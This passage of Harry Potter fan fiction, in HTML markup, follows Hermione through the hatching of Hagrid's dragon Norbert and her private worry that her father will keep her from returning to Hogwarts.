on\nthe verge of alienating Harry and Ron but she also knew what she was doing was\nfor the greater good.&nbsp; What would it\nmatter if they managed to foil Snape&#8217;s plot if she wasn&#8217;t around the following\nyear to enjoy the fruits of her labor.&nbsp;\nSeveral times she had to retreat to her hiding place on the castle\nramparts to avoid Ron&#8217;s wrath when he got tired of her nagging him about exams.&nbsp; All and all she was feeling very stressed and\njust wanted the year to end as quickly and uneventfully as possible.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Unfortunately\nthat just didn&#8217;t seem possible.&nbsp; A little\nover a week after they discovered Hagrid having the egg, he sent word via Hedwig\none morning during breakfast that it was finally hatching.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Excellent!&#8221; Ron\nsaid excitedly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled\nher eyes. &#8220;What&#8217;s excellent about it?&nbsp; I\nwas half hoping it would never hatch.&nbsp;\nNow that it is, there&#8217;s no way he&#8217;ll be able to keep it a secret. &nbsp;He&#8217;s going to get in trouble with the ministry\nfor this, you know.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron was ignoring\nher. &#8220;We&#8217;ve got to go see Hagrid before it finishes hatching, Harry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We should tell\nDumbledore.&nbsp; He likes Hagrid; he can keep\nhim out of trouble and get rid of the dragon,&#8221; Hermione continued.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You want us to\ntell on Hagrid.&nbsp; What kind of friend are\nyou?&#8221; Ron asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m trying to\nkeep Hagrid from being arrested.&nbsp; You&#8217;re\nencouraging him.&nbsp; What kind of friend are\n<i style="mso-bidi-font-style:normal">you</i>?&#8221; Hermione counted.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, let&#8217;s\nskip Herbology,&#8221; Ron said ignoring her again.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron!&nbsp; You&#8217;re going to skip class?&nbsp; Are you trying to get in trouble along with\nHagrid now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No one said you\nhad to come, little miss perfect,&#8221; Ron told her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh and what am I\nsupposed to say when Professor Sprout asks where you two are?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You do know how\nto lie don&#8217;t you?&#8221; Ron&#8217;s temper was rising.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s rose\nto match it. &#8220;Oh so now you want me to lie for you?&nbsp; Why don&#8217;t we all just march off to McGonagall\nand ask her to expel us right now?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, how\nmany times in our lives are we going to see a dragon hatching?&#8221; Ron reasoned.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ve got\nlessons, we&#8217;ll get into trouble and that nothing to what Hagrid&#8217;s going to be\nin when someone finds out what he&#8217;s doing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shut up,&#8221; Harry\nsaid suddenly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nshocked for a moment until she saw Harry jerk his head to the side.&nbsp; Malfoy had been listening in on their\nconversation only a few feet away.&nbsp; When\nhe realized that they weren&#8217;t going to say anymore, he continued down the hall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How much do you\nthink he heard,&#8221; Harry said finally as they continued to the greenhouses.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Probably\neverything considering Hermione was practically shouting about it,&#8221; Ron said\nmatter-of-factly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Me!&#8221; Hermione\nsquealed. &#8220;I don&#8217;t believe I&#8217;m the one who said &#8216;how many times in our lives\nare we going to see a dragon hatching.&#8217;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s gotten\ninto you lately?&#8221; Ron asked. &#8220;You know I thought you&#8217;d finally loosened up but\nnow you&#8217;re more unbearable than ever.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron&#8230;&#8221; Harry\nstarted.&nbsp; He must have known that Ron had\ngone too far.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh so now I&#8217;m\nunbearable?&nbsp; Well excuse me for ruining\nyour fun Ron but one of us has to be the practical one and sense you&#8217;ve\nobviously flushed your brains; I guess it has to be me.&nbsp; And if it makes me unreasonable not to want\nto get expelled before our first year is even over then I&#8217;m ever so sorry!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, let&#8217;s\njust make a slight detour,&#8221; Ron said, choosing to ignore Hermione once again.\n&#8220;If we go now, we could probably just be a little late to Herbology.&nbsp; Professor Sprout won&#8217;t care.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ll go during\nmorning break,&#8221; Harry said stoically. &#8220;Hermione&#8217;s right.&nbsp; No use calling attention to ourselves.&nbsp; If we scave off\nHerbology, we might end up getting Hagrid in trouble.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh alright,&#8221; Ron\nsighed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sighed\nas well.&nbsp; She was glad Harry had stuck up\nfor her but she was growing weary of constantly feeling like she had to prove\nherself.&nbsp; The stress of school and her\npersonal life were starting to overwhelm her.&nbsp;\nShe wished that she could talk to Harry about it but he had his hands\nfull mediating between her and Ron.&nbsp; She\ndidn&#8217;t want to add to his pile of stressors.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She started to\nwalk into the greenhouse behind Ron but then suddenly felt a hand on her\nshoulder which made her jump. &#8220;Calm down,&#8221; Harry said almost soothingly, he\nmust have noticed how frustrated she looked. &#8220;Ron&#8217;s right you know&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What; you think\nI&#8217;m being unbearable too?&#8221; she hissed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, a little\nhigh strung perhaps but&#8230; that&#8217;s not the point.&#8221; He gave her a half grin. &#8220;I\nmeant Ron&#8217;s right about this being the only time we&#8217;ll get to see a dragon at\nall, let alone see it hatch.&nbsp; You have to\nbe at least a bit curious.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione returned\nthe grin, despite herself.&nbsp; Why did he\nalways have to be right?</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They arrived at\nHagrid&#8217;s just in time.&nbsp; The egg hadn&#8217;t\nfinished hatching yet.&nbsp; The trio grabbed\nchairs and sat around the table to watch with baited breath as the baby dragon\nmade its final efforts to escape. Finally the egg split open with a loud <i style="mso-bidi-font-style:normal">crack</i> and the small black scaly dragon\nflopped out onto the table.&nbsp; It all\nseemed very anticlimactic to Hermione.&nbsp;\nShe didn&#8217;t know exactly what she was expecting but she didn&#8217;t think this\novergrown lizard was worth all the fuss Hagrid was making.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It seemed very\nlarge already, and as it nipped at Hagrid&#8217;s hand she noticed it already had\nfangs. If it was this big already, &#8220;Hagrid, how fast do Norwegian Ridgebacks\ngrow exactly?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid looked\nlike he was about to answer but then he noticed something just behind Hermione.\nHe leapt to his feet. &#8220;Someone was looking through the gap in the\ncurtains.&nbsp; It&#8217;s a kid; he&#8217;s running back\nup to the school.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry ran to the\ndoor and flung it open.&nbsp; Hermione didn&#8217;t\neven need to hear him mutter the word, &#8220;Malfoy,&#8221; to know exactly who it was.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re dead,&#8221; Ron\nsaid with a shudder. &#8220;Malfoy has been waiting for a chance to get back at us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh <i style="mso-bidi-font-style:normal">now</i> you&#8217;re worried about getting in\ntrouble. Why is it you&#8217;re always worried after the fact, huh?&#8221; Hermione\nsnapped. &#8220;We could have avoided all this if you&#8217;d have just listened to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Listened to\nyou?&nbsp; I feel like that&#8217;s all I do is\nlisten to you &#8216;cause you&#8217;re always talking!&#8221; Ron shouted. &#8220;You act like you\nknow everything.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ll it&#8217;s better than acting like an idiot,&#8221; Hermione countered.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;This isn&#8217;t\nhelping,&#8221; Harry said shortly. &#8220;Hagrid maybe it&#8217;s time to consider what you&#8217;re\ngoing to do now that it&#8217;s hatched.&nbsp;\nYou&#8217;re not going to keep it are you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid had barely\nheard a word of their conversation.&nbsp; He\nhad the baby dragon in his arms and he was rocking it back and forth saying\n&#8220;Now what are we going to call you little fella&#8217;.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s cracked,&#8221;\nRon said quietly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shrugged.\n&#8220;Let&#8217;s go, we&#8217;ll try talking to him later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We should go to\nDumbledore,&#8221; Hermione chimed again as they let themselves out of the cabin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re not going\nto risk getting Hagrid into trouble,&#8221; Harry said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hello!&nbsp; Wake up Harry, Hagrid&#8217;s already in\ntrouble.&nbsp; We can only minimize the\ndamage.&nbsp; If we go to Dumbledore now&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry spun on his\nheels to face her.&nbsp; He had a strained and\nalmost angry look in his eyes. &#8220;We&#8217;re <i style="mso-bidi-font-style:normal">not</i>\ngoing to tell on Hagrid,&#8221; he said very slowly so as to make himself clear.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\ngulped.&nbsp; She had never seen Harry so\nupset. &#8220;Alright&#8230; so now what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll think of\nsomething.&#8221;</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It had been\nalmost a week and Harry still hadn&#8217;t thought of anything.&nbsp; Hermione had stopped offering suggestions\nbecause she knew that anything she had to offer would involve telling an adult\nthe truth and Harry had made it very clear he didn&#8217;t want that.&nbsp; She had separated herself from the boys more,\nchoosing the study alone rather than be involved in more pointless\narguments.&nbsp; The only times she spent with\nthem were during meals and when they went down to visit Hagrid and the baby\ndragon.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She spent many\nlate nights on the ramparts just staring up at the night sky and trying to\nunwind.&nbsp;&nbsp; Harry hadn&#8217;t come to visit her\nup there in several weeks so she was very surprised to see him one evening just\nbefore midnight.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know, if I\ndidn&#8217;t know better, I&#8217;d say you were avoiding us,&#8221; Harry said as he stepped off\nof his Nimbus 2000 onto the castle wall. &#8220;You&#8217;re not still studying are\nyou?&nbsp; Because you know, we have a common\nroom for that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you always\nhave to make jokes?&#8221; Hermione said with a bite of impatience.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No but it beats\nbeing in a sour mood all the time like some people I&#8217;ve seen lately,&#8221; Harry\nsaid, still grinning.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not in a\nsour mood,&#8221; Hermione said defensively. &#8220;I just have a lot on my mind.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We all do,\nHermione,&#8221; Harry reminded her. &#8220;I know it&#8217;s a lot to deal with but&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No Harry, you\ndon&#8217;t understand.&nbsp; It&#8217;s more than just\nSnape and Hagrid.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; Harry sat\ndown beside her. &#8220;Then what is it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8230;&#8221; Hermione\nstarted. &#8220;I don&#8217;t really want to talk about it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, well I\nguess you don&#8217;t have to then,&#8221; Harry conceded. &#8220;Well Ron and I are going down\nto Hagrid&#8217;s to talk to him again.&nbsp; You\nwant to come.&nbsp; We could use a level head.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stood\nand stretched. &#8220;Oh, alright but I don&#8217;t know how much help I&#8217;m going to\nbe.&nbsp; My brain feels like mush.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry hopped back\non his broomstick and Hermione started down the trap door.&nbsp; In a few minutes they had collected Ron and\nmade their way to the gamekeeper&#8217;s cabin.&nbsp;\nHermione pretty much sat in silence as Harry and Ron talked with Hagrid.&nbsp; She barely heard any of the conversation that\ntook place.&nbsp; Her mind was still mulling\nover her present predicament.&nbsp; The past\nfew weeks she&#8217;d done almost nothing but study.&nbsp;\nShe was ready, she knew it.&nbsp;\nPerhaps Harry and Ron were right; she needed to just relax for a while.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do you\nthink Hermione?&#8221; she heard Harry ask her.&nbsp;\nShe hadn&#8217;t been listening to anything.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Think about\nwhat?&#8221; she asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Haven&#8217;t you been\nlistening to us at all?&#8221; Ron said annoyed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, I just sort\nof zoned out.&nbsp; What did I miss?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We were saying\nwe could send an owl to Charlie, you know Ron&#8217;s brother.&nbsp; He deals with dragons.&nbsp; He could keep Norbert and then set him free\nin the wild when he&#8217;s old enough,&#8221; Harry summarized.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had to\nthink about who they were talking about but then she realized that &#8216;Norbert&#8217;\nmust be what Hagrid was calling the baby dragon. &#8220;Right, it sounds like a good\nidea,&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I could just as\neasily raise Norbert here,&#8221; Hagrid said stubbornly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione realized\nthis must have been why Harry asked her opinion.&nbsp; He needed her to think of a way to convince\nHagrid to give up the dragon.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Hagrid,&#8221;\nHermione started sweetly. &#8220;Nobody&#8217;s arguing with you there.&nbsp; If anyone can raise&#8230;\nuh&#8230; Norbert, it&#8217;s you.&nbsp; It&#8217;s just that&#8230;\nyou have so many other responsibilities here.&nbsp;\nDumbledore depends on you in so many ways and would be so disappointed\nif he knew that you were unable to tend to your gamekeeping\nduties because of this.&nbsp; The castle would\nfall apart without you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She&#8217;s right,&#8221;\nRon agreed readily, &#8220;things are already starting to go down hill.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid&#8217;s brow\nfurrowed. &#8220;Well, I don&#8217;t want to let Dumbledore down, not after all he&#8217;s done\nfor me.&nbsp; I guess you&#8217;re right.&nbsp; Go ahead and send that letter to yer brother, Ron.&nbsp; I\nguess it&#8217;s for the best.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A few minutes\nlater, Ron, Harry, and Hermione were walking across the courtyard back to the\ncastle.&nbsp; &#8220;That was good Hermione,&#8221; Harry\nsaid. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s up with\nyou lately?&#8221; Ron asked. &#8220;You always seem so preoccupied.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve got a lot\non my mind,&#8221; Hermione answered vaguely.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You think about\nschoolwork too much,&#8221; Ron concluded aloud.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you, Ron,&#8221;\nHermione snapped. &#8220;If you hadn&#8217;t told me that for the millionth time, I&#8217;d have\nnever known.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can you two have\none conversation without arguing?&#8221; Harry sighed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No!&#8221; Hermione\nand Ron said in unison.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; Harry\nput down his quill.&nbsp; He and Hermione were\nsitting at a table in the common room, a pile of books between them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Huh,&#8221; Hermione\nsaid without looking up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s wrong?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing,&#8221;\nHermione said automatically.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s not going\nto work anymore,&#8221; Harry said. &#8220;The closer we get to the end of term, the worse\nyou get.&nbsp; I can&#8217;t honestly believe that\nyou&#8217;re this stressed about exams.&nbsp;\nThere&#8217;s something else.&nbsp; Why won&#8217;t\nyou tell me?&#8221;</p>\n\n<p class="MsoNormal" style="mso-outline-level:1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I\ndon&#8217;t want to&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Worry me; I\nknow.&#8221; Harry nodded. &#8220;But you&#8217;re already worrying me.&nbsp; So you might as well just tell me now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione dropped\nher quill. &#8220;I just&#8230; I&#8217;m afraid of not being able to come back next year.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave her a\npuzzled look. &#8220;What?&nbsp; You can&#8217;t possibly\nbe worried about not passing exams to get into second year.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m not&#8230; I&#8217;m\nworried that my parents won&#8217;t let me come back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why?&#8221; Harry\nasked shocked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My father, he\ndoesn&#8217;t think Hogwarts is good for me.&nbsp;\nHe doesn&#8217;t understand how happy I&#8217;ve been.&nbsp; He thinks I&#8217;ve just been slacking off, not\ntaking things seriously because I&#8217;m away from home.&nbsp; He thinks it&#8217;d be better if I went to the\nlocal school.&#8221; Hermione was beginning to tear up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was\nspeechless for a moment.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;See, this is why\nI didn&#8217;t tell you,&#8221; Hermione said through a sob. &#8220;There&#8217;s nothing you can say\nor do to help me.&nbsp; There&#8217;s really nothing\nI can do except pass my exams and hope that convinces my father to let me\nstay.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you&#8217;re\nright,&#8221; Harry started slowly. &#8220;There really isn&#8217;t anything I can do, but that\ndoesn&#8217;t mean you shouldn&#8217;t tell me these things.&nbsp; You can&#8217;t stress alone.&nbsp; You need other people to stress with you,&#8221; he\ngave her a half grin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t you think\nyou have enough to worry about, Harry?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shrugged.\n&#8220;It gives me something to think about besides exams.&#8221;&nbsp; Harry leaned back in his chair. &#8220;Didn&#8217;t you\ntell me that your family has some sort of motto: &#8216;Grangers can do anything&#8217;?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione blushed,\n&#8220;Yeah it&#8217;s our credo.&nbsp; I know, it&#8217;s a\nlittle conceited but I grew up on that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I&#8217;ve known\nyou for a while now and I&#8217;m beginning to think it&#8217;s true.&nbsp; You&#8217;re the cleverest witch in our year\nHermione and I&#8217;ve seen you pull off things Ron and I wouldn&#8217;t even dream\nof.&nbsp; If anyone can convince your father\nto let you come back next year, it&#8217;s you.&nbsp;\nI can&#8217;t believe you&#8217;d just give up like this.&nbsp; It doesn&#8217;t sound very &#8216;Granger&#8217; at all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well maybe I&#8217;m\nnot a very good Granger,&#8221; Hermione sighed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was about\nto rebut that when the clock on the wall chimed signaling that it was\nmidnight.&nbsp; At that same moment, the\nportrait door swung open.&nbsp; Ron appeared\nas he threw off Harry&#8217;s invisibility cloak.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It bit me,&#8221; were\nthe first words out of his mouth.&nbsp; The\nbaby dragon that Hagrid loved so much was already almost as big as the hut and\nshowing its true nature.&nbsp; Ron&#8217;s hand was\nwrapped in a bloody handkerchief now and from the looks of it, the bite would\ntake several days to heal without proper medical treatment.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nabout to suggest that he go to the hospital wing when there was a tap on the\nwindow. It was Hedwig with the much awaited response from Ron&#8217;s older brother,\nCharlie.&nbsp; <i style="mso-bidi-font-style:\nnormal">&#8221;Owls are so clever.&nbsp; Hedwig even\nknew that this letter was too secret to be delivered at morning mail,&#8221;</i> she\nthought as they rushed to let her in.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Charlie seemed\nmore than willing to take the dragon so long as they could successfully\ntransport the creature to him in a clandestine manner.&nbsp; He instructed them to bring the baby dragon\nto the tallest tower at midnight on Saturday.&nbsp;\nThey all decided that though it would be difficult, it was their best\nand only option.&nbsp; Ron folded the letter\nwith his good hand and shoved it in his pocket.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You should\nreally get that looked at by Madam Pomfrey,&#8221; Hermione said returning to their\nprevious conversation.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I can&#8217;t, what\nwill I do if she asks how I got this thing?&#8221; Ron said nervously.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It could get\ninfected,&#8221; Hermione warned.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ll take my\nchances,&#8221; Ron said as he headed for the stairs leading to his dormitory.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He&#8217;s so\nstubborn,&#8221; Hermione muttered louder than she intended.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well look on the\nbright side, this will be one less thing to worry about.&nbsp; Come Saturday, Norbert will be gone.&nbsp; Snape hasn&#8217;t shown any sign of getting closer\nto getting past Fluffy.&nbsp; Exams will be\nhere soon and you&#8217;ll be able to show your father just how good a witch you really\nare.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione did feel\nlike a weight was being lifted off her shoulders. &#8220;Maybe you&#8217;re right.&nbsp; I think I&#8217;ll head to bed too.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What?&nbsp; But I thought you still had a few hours of\nstudying left in you.&#8221; Harry grinned as she started towards her own dormitory.\n&#8220;You know maybe you could re-read the Standard Book of Spells Grades 1, 2, and\n3, tonight.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shut it,\nPotter,&#8221; Hermione called with a laugh as she started up the stairs.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione&#8217;s brief\nmoment of relaxation was shattered the next day as she walked out of the\nhospital wing.&nbsp; They had just been to\nvisit Ron who had finally broken down and gone to see Madam Pomfrey and not a\nmoment too soon.&nbsp; It seemed that Norbert\nhad somehow poisoned him and if he hadn&#8217;t been a wizard, he&#8217;d probably have\ndied from the bite.&nbsp; But that wasn&#8217;t the\nworst of it.&nbsp; Malfoy had come to taunt\nRon about the dragon and in doing so had inadvertently left with a book that\ncontained Charlie&#8217;s reply to Ron.&nbsp; Now\nMalfoy knew everything.&nbsp; There was no\ntelling what he would do.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8216;It&#8217;s too late to\nchange the plan now,&#8221; Harry sighed. &#8220;We haven&#8217;t got time to send Charlie\nanother owl and this could be our only chance to get rid of Norbert.&nbsp; We&#8217;ll have to risk it and we have got the\ninvisibility cloak.&nbsp; Malfoy doesn&#8217;t know\nabout that.&#8221;</p>\n\n<p 